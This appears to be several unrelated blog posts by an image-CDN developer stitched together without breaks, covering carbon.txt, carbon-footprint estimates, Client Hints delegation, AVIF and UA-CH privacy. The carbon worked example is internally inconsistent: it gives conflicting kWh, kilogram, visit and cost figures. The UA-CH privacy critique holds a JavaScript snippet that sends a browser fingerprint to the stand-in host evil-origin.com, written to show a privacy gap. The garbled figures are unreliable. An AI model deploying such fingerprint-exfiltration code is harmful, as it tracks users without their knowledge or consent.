This text file is meant to keep information about the resources used to serve your website and information related to your own carbon footprint.

In other words, it is a convention for website owners and digital service providers to demonstrate that their digital infrastructure runs on green electricity.

The Green Web Foundation

This is an initiative spear-headed by The Green Web Foundation, and to be fair, the initiative is still in its very early stages. However, I think the idea is so great that I think everyone should implement it!

Even if the pilot is currently only for service providers, the general idea makes sense for any website owner.

If you already have a Sustainability Policy, and maybe you’re even offsetting carbon too, the carbon.txt is a great place to be public about it!

• carbon.txt is a canonical location where your carbon footprint is documented. Easy to find.
• carbon.txt is readable by humans, and crawlable by machines!

Make your own carbon.txt

I’ve been implementing carbon.txt for ImageEngine as a part of the pilot. 

An example for sites using ImageEngine as a CDN, and Netlify as hosting:

[upstream]
providers = [
    { domain = "netlify.com", service = "shared-hosting" },
    { domain = "imageengine.io", service = "cdn" }
]

[org]
credentials = [
     # Optional, but if you have a sustainability policy, you can reference it here.
    { domain = "yoursite.com", doctype = "webpage", url = "https://yoursite.com/sustainability/"}
]

(The contents is represented using TOML syntax.)

Because imageengine.io is registered with The Green Web Foundation as a Green Host (a public data set), this will also count positively against anyone following the trances provided by the file.

Moreover, if you, or a data program, want to dig further, ImageEngine’s carbon.txt file is located here: https://imgeng.in/carbon.txt.

Ideally, carbon.txt will provide a chain of references – a «graph» if you will – where the entire footprint of the involved providers are documented. 

Read more about the initiative here.

Unfortunately, I can’t document the following claim, but I’m pretty sure that this is the case:

The reason for minority browser being locked out and/or getting a degraded experience, is client side (JavaScript) user-agent (or now UA-CH)- sniffing, performed by junior webdevs.

Vivaldi’s experience is proof enough that UA-CH sniffing is bad practice. The UA-CH initiative only made the problem worse by giving more powerful tools and lowering the efforts to make use of them (the UA-CH js api totally ungated! )

Now, situation is worse than before UA-CH. With only the user-agent we had only one lie which could be well managed by proper device detection. Now we have two lies which may tell separate stories.

Frankly, it’s so easy and cheap that everyone should be doing it. It feels good!

Here’s how to go Carbon Neutral.

1. Find out how much electricity is needed

As difficult as it sounds, you can use common «proxy metrics» which will give a reasonable estimate. 

One such «proxy metric» you can use to derive how much electricity you need to offer your service is the amount of traffic your app or site has. Traffic in terms of (giga-) bytes. 

The gigabytes (GB) your app or site generates may be an estimate itself. Unless you’ve got access to logs and monitor this carefully, you may use tools like webpagetest.org, lighthouse or similar to get an idea of how many bytes one page view generates.

From here things get a little easier thanks to other people’s efforts. There are mainly two models you can follow: the 1 byte model, «by spend» and the Sustainable Web Design model (SWD).

I’d recommend the SWD model because it’s very broad, top-down, flexible, transparent and it’s relatively compliant with other standards in the space, such as the GHG protocol for reporting scopes.

Example to estimate electricity spend

The formula used by SWD is:

Electricity = [Data Transfer per Visit (new visitors) in GB x 0.81 kWh/GB x 0.75] + [Data Transfer per Visit (returning visitors) in GB x 0.81 kWh/GB x 0.25 x 0.02]

Let’s say loading a representative page on your website weighs 3 MB everything included. Your website has 1000 visits per month. 70% are new users, 30% are returning users (they have some html, css, js images etc. in their browser cache so they’re downloading only 2%).

Then the formula would be:

(0.003 GB x 0.81 kWh/GB x 0.7) + (0.003 GB x 0.81 kWh/GB x 0.3 x 0.02) = 0.00171558 kWh/visit.

(The 0.81 kWh/GB and 0.02 are defaults from the SWD model and can be changed if you have better data)

To arrive at a yearly estimate for electricity needs in our example, the formula is then:

1000 visits x 0.00171558 kWh x 12 months = 20.59 kWh.

2. Find out how much CO2 the electricity generate

To figure out how much CO2 emissions the 0.00057186 kWh cause, you can use services like Electricity Mapsto find the carbon intensity of electricity. This varies drastically around the globe.

In Norway, the carbon intensity of 1 kWh is 25 grams CO2e, while in India and many US states it’s well above 700 grams CO2e. 

The SWD model uses a global average of 442 grams CO2e/kWh. 

This number can be adjusted to where your data center is geographically located, whether it’s powered by renewable energy, and where your users are located.

Using the default, 442 g/kWh, our example looks like this:

20.59 kWh x 442 g/kWh = 9099 g CO2e = 9.1 kg CO2e.

Our website has a yearly carbon footprint of 9.1 kg CO2e. 

(Which is about the same as driving a modern fossil car 74.40 km)

3. Buy carbon offsets

In order to claim carbon neutrality, our example site must make up for the 3 kg CO2e.

This is done by «offsetting». You need to buy «carbon offsets» to compensate for your emissions.

This business is, to be honest, a little prone for scams. To avoid this article being too long, I’ll just say; do research, make calls, send emails, look for companies offering projects verified by Gold Standard, Verified Carbon Standard and Climate Action Reserve. Look at google for potential places to buy.

From good vendors with good projects offsetting 1 metric tonne (MT) of CO2e costs in the range of $16 – $30.

Back to our example. What’s the cost of compensating for the emissions of our website?

0.003 tonne CO2e x $30 = $0.27 per year

…honestly, everyone can afford $0.27 per year for a site with 12000 visits per year.

Conclusion

Yes, the calculation is not accurate and not perfect. It’s a qualified guess based on the data we have available.

However, we have to start somewhere. The SWD model, the 1 byte model, or even a «by spend» models (emission by money spent running your app or site) are all great places to start figuring out the carbon footprint. The rest is so easy and so cheap that everyone should do it!

With ImageEngine, we’ve seen a drop from around 20% of all requests having the Lite Mode enabled to between 2 and 5 %.

99% of those with Lite Mode enabled today are Smartphones. Lite Mode is still available for Androids.

To make the browser send the save-data:on header, Android users must enabled it in the system settings. This feature came in M102.

Question is why people enable Lite Mode. Google disabled it because «data cost has lowered», but of course Google wanted to save money by not maintaining the servers that did transcoding.

Do users enable Lite Mode really want to make the page load faster? If cost is no issue, then there must be other reasons (or Google is wrong).

The architecture is pretty complicated when you first experience it, but it makes sense: First, the website must opt in to the hints it needs, then the browser sends them to the server on the next request. However, if you need to send the hints to a different domain (origin) than the domain of your website, you’ll have to explicitly delegate the hints to that domain/origin.

This has been possible for a while (since Chrome 84) using Permission-Policy headers. However, HTTP headers is not very convenient if you’re a front end dev.

So, since Chrome v100, it is now possible (after some changes to the syntax) to both opt-in for Client Hints and delegate in one single <meta> tag:

<meta http-equiv="delegate-ch" content="sec-ch-dpr https://foo.com;">

As you can imagine, this meta tag gan grow very ugly if you need a lot of hints distributed to all your origins.

I’ve made a glitch demoing the meta tag for opting in , and delegating to a third party.

A <meta> tag to enable user-agent client hints for https://classic-mountainous-actress.glitch.me will for example look like this:

<meta http-equiv="delegate-ch" content="sec-ch-dpr https://classic-mountainous-actress.glitch.me; sec-ch-ua-bitness https://classic-mountainous-actress.glitch.me; sec-ch-ua-arch https://classic-mountainous-actress.glitch.me; sec-ch-ua-model https://classic-mountainous-actress.glitch.me; sec-ch-ua-platform https://classic-mountainous-actress.glitch.me; sec-ch-ua-platform-version https://classic-mountainous-actress.glitch.me; sec-ch-ua-full-version https://classic-mountainous-actress.glitch.me; sec-ch-ua-full-version-list https://classic-mountainous-actress.glitch.me ">

One difference from the HTTP-header approach is the sec- prefix. With the HTTP header the sec- prefix is not needed, but with the <meta> tag it is required.

Aside from UA-CH, users of Image CDNs may find hints like width, height, viewport-width and dpr more interesting. Here’s a little demo of that too, using the <meta> tag approach.

(The image is a 404, but look at its request headers in the developer tools)

Delegating UA-CH is useful when you need other sites, domains or hostnames to receive the additional information. One example is if you’re using an image CDN to optimize images.

Since Chrome v84 the Chrome team has had a few set backs which has resulted in some changes. In addition, the feature policy header, for delegating the client hints to third parties, has changed name to Permissions-Policy.

Based on my previous post, let’s see what’s changed, and learn how to delegate the UA-CH.

First, the JavaScript API is widely open and does not require any delegation or even opt-in. IMO this is a privacy issue, and Apple seems to agree with me

1. Opt-in in to Receive User-Agent Client Hints

We still have to explicitly opt-in to receive the client hints in response headers. In previous implementations it was very confusing because the sec-ch- perfix was not required. Now, we’ll need to include that prefix like this:

Accept-CH: sec-ch-ua-platform,sec-ch-ua-arch,sec-ch-ua-model,sec-ch-ua-platform-version,sec-ch-ua-full-version

2. Delegate UA-CH using Permissions Policy

UA-CH was launched with Chrome v84 just around the time when feature policy was renamed to permissions policy. Chrome v89 still supports the feature-policy header, but let’s move ahead with permissions-policy just to stay bleeding edge

The permissions policy is a structured header. Which makes it look a bit more complicated, but it’s really not.

permissions-policy: ch-ua-arch=("https://foo.bar.com"), ch-ua-model=("https://foo.bar.com"), ch-ua-platform=("https://foo.bar.com"), ch-ua-platform-version=("https://foo.bar.com"), ch-ua-full-version=("https://foo.bar.com")

Last time I noted a little caveat here, about the header names. Names are the same, but still different from the header names we used to opt-in to receive UA-CH above. Difference now, is that we don’t use the sec- prefix in the permission policy.

3. Read the UA-CH on your 3rd party resource

If we’ve done everything correct, we should now receive the UA-CH headers on our 3rd party. This part has not changed since Chrome v84:

sec-ch-ua-full-version: "89.0.4389.82"
sec-ch-ua-arch: "x86"
sec-ch-ua-platform: "macOS"
sec-ch-ua-platform-version: "11_2_3"
sec-ch-ua-model: ""
sec-ch-ua-mobile: ?0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"

Try it out

I’ve updated my little glitch to reflect the changes: https://glen-wistful-protoceratops.glitch.me/

Here’s the «official» demo. However, this does not demo the delegation to other domains or third parties.

Support for AVIF (AV1 Image File Format) was introduced to the mass market by Chrome 85 in August 2020. Soon, Firefox is expected to enable AVIF by default, but the feature is currently hidden behind a flag.There is a growing trend of support for AVIF, so web developers should start planning how they can use this new image format. 

However, this AVIF introduction comes just as the web has barely started to use WEBP as the holy grail of image optimization. Now we have to consider using AVIF,  which is apparently much better than WEBP. Let’s have a quick look into the differences.

What is AVIF?

In short, AVIF is a next-gen image format that uses the same compression algorithms found in video codecs. Wikipedia defines AVIF like this:

AV1 Image File Format (AVIF) (pronounced [əˈ vif]) is an image file format specification for storing images or image sequences compressed with AV1 in the HEIF file format

AV1 is the royalty-free video coding format that the industry has high hopes for in the future. HEIF is also based on a video codec. However, the industry fears there might be some patent issues. 

You might recognize HEIF and HEIC from iOS 11 and macOS High Sierra. This is when Apple decided to support HEIF and HEIC formats for internal storage of media. Given Apple’s history, one might expect Apple will continue down the path of HEIC/HEIF, instead of AV1.

How Much Better is AVIF?

There are several studies and examples that demonstrate how much better AVIF is for compressing, or reducing the byte size of an image, while still maintaining the image quality. Netflix has been cheering for AVIF for a while. Google themselves are demoing and comparing AVIF image quality and file size to legacy image formats. Not surprisingly, they find AVIF superior.

According to the many tests and demos, AVIF may be around 20% more effective than WEBP!

Like always, there are outliers. The comparison on ctrl.blog illustrates the performance differences between the formats well. AVIF never produces a heavier output image than the jpeg baseline. Still, there might be cases where WEBP, and even JPEG, produce smaller and visually better results than AVIF, just like there are images that will be lighter and higher visual quality with jpeg compression than webp compression. For example, one common challenge with compression algorithms for still images with roots in the video domain, the background may lose a lot of detail. In those cases webp or jpeg, or jpeg2000, may still be the best option.

Let an Image CDN Decide

While it is great to have multiple next-generation image format options, it complicates planning and coding. When, which format, and how to select the image format is increasingly complex. Developers need to evaluate the tradeoff between optimizing for quality, image payload size (and page load speed), and code complexity. And each new format makes that tradeoff analysis more difficult to navigate.

The optimal and easiest solution is to use an image CDN. An image CDN is purpose-built to navigate the jungle of image formats and safely deliver high quality, high performance images. 

Image CDNs like ImageEngine will automatically integrate new formats like AVIF when browsers support them and they yield superior performance. They also provide support for JPEG2000, WEBP, and even GIF-to-MP4 conversion,The result is smaller image payload, faster page loading, and no perceptible change in quality. 

On average WEBP is better than JPEG, and AVIF is better than WEBP. This is true until you encounter the corner cases. This might be OK for most of us, but for ecommerce and other industries where you manage thousands of images that are crucial to business results, it might be too soon to start converting all images to AVIF. You can of course choose to maintain all formats, JPEG, WEBP and AVIF, but like Jake Archibald from Google says:

“Unless it’s automated, offering up 3 versions of the same image is a bit of a pain, but the savings here are pretty significant, so it seems worth it, especially given the number of users that can already benefit from AVIF.”

An image CDN like ImageEngine with AVIF support is the safest bet when you want to relieve yourself of the pain of managing multiple image formats and at the same time be certain that your users get the best visual quality at the lowest file size.

First release of the Slack app was done in 2013. A year later, it had already been on the radar for a while.

Slack doesn’t only replace Skype and Yammer. Through its numerous apps and integrations it’s the hub of everything that goes on in an organisation. Potentially replacing, WIKIs, chats, video conference tools, email, phone etc.

Today, I not only use Slack professionally, but also for other side projects and friend groups

The User-Agent string is an abundant source of passive fingerprinting information about our users. It contains many details about the user’s browser and device as well as many lies («Mozilla/5.0», anyone?) that were or are needed for compatibility purposes, as servers grew reliant on bad User Agent sniffing.

The current implementation if UA-CH, provide access to the hints either through HTTP headers, or through a JavaScript API.

The one alternative is gated, the other wide open…

Security Mechanisms for UA-CH as HTTP Headers in place

The concerns related to the User-Agent are that it can be used to fingerprint users because of the relatively high entropy. The use case where the User-Agent are present in server logs or similar did get a lot of attention. 

The UA-CH attempts to solve this by the already existing opt-in mechanism in the Client Hints specification combined with permission policy delegation of hints. Even if this solution does not offer any alternative to the User-Agent on the first navigation request, the Chrome team seems fixed on this idea.

Anyway, the important thing is that there is some security baked in. The high entropy hints are not available by default.

Access to UA-CH through JavaScript API is Wide Open

In Chrome version 85 I’m able to read all User-Agent Client-Hints without restrictions.

The spec says this about Access restrictions:

User agents ought to exercise judgement before granting access to this information, and MAY impose restrictions above and beyond the secure transport and delegation requirements noted above. For instance, user agents could choose to reveal platform architecture only on requests it intends to download, giving the server the opportunity to serve the right binary. Likewise, they could offer users control over the values revealed to servers, or gate access on explicit user interaction via a permission prompt or via a settings interface.

No opt-in

To get access to the UA-CH through the JavaScript API, no opt-in is required. All high entropy data points are exposed to everyone, even 3rd parties! 

No additional effort is needed by any party to get access to the high entropy data points.

No User Approval

The only hope for the future is that the access to the high entropy hints are provided through a promise, which offers an asynchronous «hook» for browsers to interfere. Browsers have not yet taken this opportunity to protect the high entropy data points. Probably as expected because of to the vague language in the specification.

No Delegation Through Permission Policies

The HTTP hints are only available at the 1st party origin by default. A Permission Policy is a way to restrict or allow access to certain browser features. However, access to UA-CH through the JavaScript API is not covered by the Permission Policy implementation. That means, that you can restrict a 3rd party server from receiving high entropy information about your users through HTTP headers, but the 3rd party server can still access the information through JavaScript.

Inconsistent Privacy Model

Comparing the relatively high level of security and number of trade-offs for UA-CH in the HTTP header with the wide open access to UA-CH through navigator.userAgentData.getHighEntropyValues(), a few questions comes to mind:

1. Why does Permission Policy only apply to UA-CH provided by HTTP headers and not the JavaScript API?
2. Why is there no Opt-in using accept-ch or similar?
3. Why is there no user approval implemented in browsers when scripts are trying to access navigator.userAgentData.getHighEntropyValues()? .
4. Why is the spec so vague on the topic of gating the UA-CH client side?
5. Are UA-CH in HTTP headers considered a higher risk than in JavaScript?
6. Why aren’t the same information protected by the same mechanisms client side and server side? 

There is an open issue on github covering this topic.

DEMO: Here is a simple demo that access the high entropy data through the JavaScript API and mimics a request to a third party tracking pixel: https://dapper-handsome-ziconium.glitch.me/. Remember to test it on Chrome version 84 or higher.

Basically, it’s very easy to do things like link decoration:

  navigator.userAgentData.getHighEntropyValues(["architecture","model","platform","platformVersion","uaFullVersion"]).then(function() {
        var image = document.createElement('img');
        image.src = 'https://evil-origin.com/tracker.gif?fingerprint=' + JSON.stringify(arguments[0])+JSON.stringify(navigator.userAgentData.brands)+JSON.stringify(navigator.userAgentData.mobile);
        document.getElementById("myid").appendChild(image);
      });

Conclusion

I’d expect parity between the JavaScript API and the HTTP headers when it comes to availability, security and permissions. Right now it’s not.

I’d expect Permission Policy to govern access and delegation to the UA-CH through JavaScript. After all, these new data points, combined with oter information freely available on the client side, provide a pretty good fingerprint. Much more accurate than what is possible on the server side, even with the UA-CH. The Client Hints infrastructure clearly says that UA-CH are policy controlled. That is not the case currently

I’d expect 3rd parties, i.e. iframes, or 3rd party scripts not to have access to the UA-CH JavaScript API unless explicitly allowed.

I’d be pleasantly surprised if the opt-in (accept-ch) also was required to receive high entropy data through UA-CH JavaScript API.

I’d rather not see yet another popup asking the user for permission to access high entropy data. With geolocation, cookies and camera etc., we already have notification fatigue. T&C anyone?

Not to address these issues seems like a lost opportunity to make it right from the beginning. Avoiding to stumble into a JavaScript-UA-CH-sniffing-ditch like we’ve seen with the User-Agent. 

On the server side, sniffing and detection is less of an issue because the software and algorithms making sense of the User-Agent is pretty much settled and commercially available to all serious players.

Giving every single frontend developer access to UA-CH client side, seems like a huge security-, privacy-, and functionality risk to me.

If Chrome v85 reaches stable in its current form, I’m in the market for a new browser.

Note: there is an updated version of this article here.

User-Agent Client Hints (UA-CH) has been hot in the Chrome camp lately. Motivated by the sudden urge to deprecate the User-Agent request header due to privacy concerns. With Chrome version 84 and higher, the plumbing with delegation through feature- or permission policies is implemented.

Delegating UA-CH to a third party server is similar to how delegating other client hints work, but with some caveats. 

Stragely, the JavaScript API to access the hints client side navigator.userAgentData.getHighEntropyValues() is not protected by any opt-in, permission policy or user interaction…

To delegate UA-CH to third parties the steps are as follows:

1. Opt-in to Receive UA-CH

The server has to announce support for client hints. For UA-CH this is not any different than for other hints. The server simply responds with an Accept-CH header listing the hints supported:

Accept-CH: ua-platform,ua-arch,ua-model,ua-platform-version,ua-full-version

This will ask the user-agent to send the requested hints to all subsequent requests to the same origin who made the request. 

But this is not what we want… If the origin is foo.com, we want the hints to be sent to bar.foo.comtoo…

In order to do that, we need to make sure the browser sends the hints to bar.foo.com too. This is done through a feature policy header:

2. Delegate Hints Using Feature Policy

At the time of writing, the mechanism for enabling or disabling features in browsers is called Feature Policy. This will at some point in the future change name to Permission Policy

Note that the hints ua-mobile and ch-ua does not need to be delegated through feature policies. These headers are available by default and are meant to make an alternative to the User-Agentheader.

To delegate the User-Agent Client Hints to a 3rd party we need to add the Feature-Policy header to the response along with the Accept-CH header:

Feature-Policy: ch-ua-arch https://bar.foo.com;ch-ua-model https://bar.foo.com;ch-ua-platform https://bar.foo.com;ch-ua-platform-version https://bar.foo.com;ch-ua-full-version https://bar.foo.com

Here’s the first caveat. Note that the hints are prefixed with ch-. Even if the hint is named ua-arch in the Accept-CH header, it is delegated to the third party as ch-ua-arch. 

The 3rd party does not have to announce support for hints or opt in to receiving hints. All hints are sent regardless.

The second caveat is that the hints specified in the policy are case sensitive and must be lowercase! This is true for all client hints, not only UA-CH.

3. Read the Request Headers at the 3rd Party

By now the 3rd party should receive the hints specified in the policy as request headers.

Here’s another caveat. The UA-CH header names are now prefixed yet another time. Now with sec-. The hint ua-arch we opted in for in step 1 reveals itself as sec-ch-ua-arch. Yea, I know… Here’s the reason.

The request headers to the 3rd party may now look something like this:

sec-ch-ua-full-version: "85.0.4156.0"
sec-ch-ua-arch: ""
sec-ch-ua-platform: "Mac OS X"
sec-ch-ua-platform-version: "10_13_6"
sec-ch-ua-model: ""
sec-ch-ua-mobile: ?0
sec-ch-ua: "\\Not;A\"Brand";v="99", "Google Chrome";v="85", "Chromium";v="85"

How does UA-CH work?

I put together this demo on glitch.com: https://glen-wistful-protoceratops.glitch.me/

Make sure to test in a supporting browser, like Chrome v 84 or higher.

You’ll notice that hints are sent on the first request to the 3rd party iframe.

make sure to open this demo in a separate window https://glen-wistful-protoceratops.glitch.me/